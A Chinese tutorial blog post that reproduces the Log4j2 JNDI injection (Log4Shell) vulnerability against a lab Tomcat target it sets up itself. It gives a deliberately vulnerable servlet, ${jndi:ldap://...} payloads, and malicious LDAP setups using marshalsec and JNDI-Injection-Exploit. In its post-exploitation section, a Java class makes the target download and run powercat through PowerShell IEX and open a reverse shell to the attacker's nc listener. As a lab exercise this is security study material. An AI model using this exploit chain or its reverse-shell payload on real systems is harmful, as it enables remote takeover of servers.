log4J2靶机搭建和漏洞复现

log4J2靶机搭建和漏洞复现

漏洞原理

log4j2是Java技术栈中用的比较多的日志输出框架,允许输出其他文件或者网络位置中的Java对象,这是漏洞的基础。

log4j2通过 lookup 方法查找其他路径的数据,支持JDNI、Web、Event等多种查找途径。JNDI(Java Naming and Directory Interface,JAVA命名和目录接口)是一个目录系统,将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

而JNDI又支持LDAP、RMI、DNS等不同方式的数据来源,通过LDAP、RMI两种方式可以提供其他网络位置的数据。因此,可以在远程服务器上构建恶意类,通过JNDI注入到目标服务器上,达到执行任意命令的目的。

具体实现过程是:
通过logger.error(name)语句,可以将 name 指代的内容打印到日志中。当name满足name=${ }形式时,会先解析{ }中的内容,如果内容为${jndi:ldap://evilIP/ClassName},则lookup方法会先解析这是jndi方式,然后jndi继续解析这是ldap协议,然后去到//evilIP所在的网络位置去加载ClassName类,造成ClassName的内容被执行。这就是log4j2漏洞的原理,因此最简单的复现就是写一段包含logger.error(“${jndi:ldap://evilIP/ClassName}”)的Java代码。
name是通过name = request.getParameter("aaa")获取到的用户传入的参数时,如果构造形如aaa=${jndi:ldap://evilIP/ClassName}的输入,就可以在服务器上执行用户在ClassName中定义的操作,达到攻击的目的。本文也按照这个思路复现。

详细的原理可以参考核弹级漏洞!我把log4j扒给你看

漏洞复现

靶机搭建

靶机需要运行版本符合的Java web服务,并启用了log4j2,而且会将某些来自用户的请求打印到日志中。网站的部署具体可以参考Log4j2漏洞复现,这里不具体讲。本文选用的环境为:

  • win10,jdk-8u181,tomcat9,log4j-2.14.0

具体的环境没有要求,但要注意jdk的版本,jdk1.8_191后的版本无法触发漏洞。

在web服务中编写包含漏洞的类log4j2Servlet

import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * Servlet implementation class log4j2Servlet
 */
@WebServlet("/log4j2Servlet")
public class log4j2Servlet extends HttpServlet {
	private static final long serialVersionUID = 1L;
	private static final Logger logger = LogManager.getLogger(log4j2Servlet.class);
       
    /**
     * @see HttpServlet#HttpServlet()
     */
    public log4j2Servlet() {
        super();
        // TODO Auto-generated constructor stub
    }

	/**
	 * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
	 */
	protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		// TODO Auto-generated method stub
        response.setContentType("text/html");
        response.setHeader("Content-Type", "text/html; charset=utf-8");
        System.out.println(request.getQueryString());

        // Hello
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>Hello World!</h1>");
        out.println("</body></html>");
	}

	/**
	 * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
	 */
	protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		// TODO Auto-generated method stub
        String name = request.getParameter("aaa");
        logger.error(name);
        response.setContentType("text/html");
        response.setHeader("Content-Type", "text/html; charset=utf-8");
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>Got it!</h1>");
        out.println("</body></html>");
	}
}

大部分为通用代码,关键代码为:

        String name = request.getParameter("aaa");
        logger.error(name);

当用户通过post请求这个资源时, 比如本文的地址为:http://192.168.220.145:8086/log4j2pro/log4j2Servlet(8086为网站运行的端口,log4j2pro为网站项目的名称),会将aaa后面的参数通过logger.error打印到日志中。

我们通过DNSlog测试该漏洞是否生效,在dnslog网站申请一个域名得到jj74zc.dnslog.cn,构造payload:${jndi:ldap://jj74zc.dnslog.cn/exp},然后使用burpsuit向目标发送post请求:
上传paylod
成功得到回显,拿到了服务器的IP地址,证明漏洞可以生效。
回显成功

攻击环境配置和实施

前面提到了执行恶意操作需要加载远程LDAP服务上的恶意类,因此需要搭建恶意LDAP服务。搭建LDAP服务有两种方式,

  • java 反序列化利用工具:marshalsec
  • JNDI注入插件:JNDI-Injection-Exploit

1. 通过marshalsec

使用marshalsec需要自己定义恶意类,并搭建恶意类下载的网络路径,比如我们编写如下Java类,该类被执行时会打开系统上的计算器:

public class Exploit {
    public Exploit(){
        try{
            String[] commands = {"calc.exe"};
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }
}

然后通过Javac将其编译成.class类型的文件,以用于目标服务器加载:

 javac Exploit.java

然后在Exploit.class所在的目录下通过python启用一个web,以供这个类的下载:
启动web
进行访问,正常:
在这里插入图片描述
192.168.1.8为我们攻击机的地址。这样就提供了一个可以在网络位置访问的恶意类。

下载marshalsec并解压,然后在marshalsec根目录下,执行以下命令,通过maven工具将marshalsec打包成jar包:

mvn clean package -DskipTests

然后会在target目录下生成我们需要的marshalsec-0.0.1-SNAPSHOT-all.jar包,也可以直接下载已经打包好的

然后执行以下命令,将我们刚才搭建的下载地址映射到LDAP服务地址:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.8:8880/#Exploit"

可以看到,在本机地址的1389端口开启了LDAP:
在这里插入图片描述
因此,向服务器注入payload${jndi:ldap://192.168.1.8:1389/Exploit}时,就会加载恶意类Exploit

通过burpsuit向服务器注入构造的payload:
在这里插入图片描述
可以看到目标机器上成功打开了计算机,日志中也显示了我们的攻击载荷:
在这里插入图片描述

对应的,LDAP服务和python web日志中都显示了该类被请求的记录:
在这里插入图片描述
在这里插入图片描述

2 通过JNDI-Injection-Exploit

JNDI-Injection-Exploit是编辑好的用于JNDI注入的包,因此实施更简单一些。首先下载JNDI-Injection-Exploit,然后进入根目录打包成jar包:

mvn clean package -DskipTests

同样在target目录下生成我们需要的JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar包,然后执行以下命令,开启LDAP服务,并指定我们需要运行的命令和LDAP服务的地址:

java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A "192.168.1.8"

c后面为需要运行的指令,A为服务地址。可以看到在//192.168.1.8:1389/sqbedo路径下开启了ldap服务:
在这里插入图片描述
所以攻击载荷为${jndi:ldap://192.168.1.8:1389/sqbedo}

用burpsuit发送请求,同样执行成功:
在这里插入图片描述在这里插入图片描述

后渗透阶段

渗透的目的当然不是简单的运行一下计算器,而是要拿到服务器的权限。下面我们演示一下如何通过log4j2拿到服务器权限。

这里我们采用marshalsec的方式,构造包含后门程序的恶意类,将其上传到服务器。因为我们知道目标服务器是Windows服务器,所以这里我们利用power shell来反弹连接。基于power shell的反弹shell有powercat、基于nishang框架的脚本等,这里我们选用
powercat。接下来就需要将powercat上传到服务器并运行。

前面我们构造的恶意类已经可以在服务器上运行计算器了,所以我们只需要将运行计算器的命令替换为下载powercat并运行的命令:

public class postExploit {
    public postExploit(){
        try{
            String[] commands = new String[]{"powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.8:8880/powercat.ps1'); powercat -c 192.168.220.129 -p 4455 -e cmd"};
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void main(String[] argv) {
        postExploit e = new postExploit();
    }
}

我们在自己的服务器上下载好powercat.ps1脚本,将其放置在然后在目标服务器上调用powershell下载并运行该脚本,然后在kali(192.168.220.129)的4455端口打开nc监听即可。
在这里插入图片描述
然而,我们直接这样构造恶意类的时候,会执行失败,具体原因和解决方法可以参考Java反弹shell小记

然后我们将构造命令的语句改写为如下形式,以此绕过空格:

String[] commands = new String[]{"powershell", "IEX", "(New-Object System.Net.Webclient).DownloadString('http://192.168.1.8:8880/powercat.ps1'); powercat -c 192.168.220.129 -p 4455 -e cmd"};

然后在该文件目录下开启下载服务,并编译类,开启LDAP服务,通过burpsuit发送post payload:${jndi:ldap://192.168.1.8:1389/postExploit},可以看到nc成功获取到了服务器的shell。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值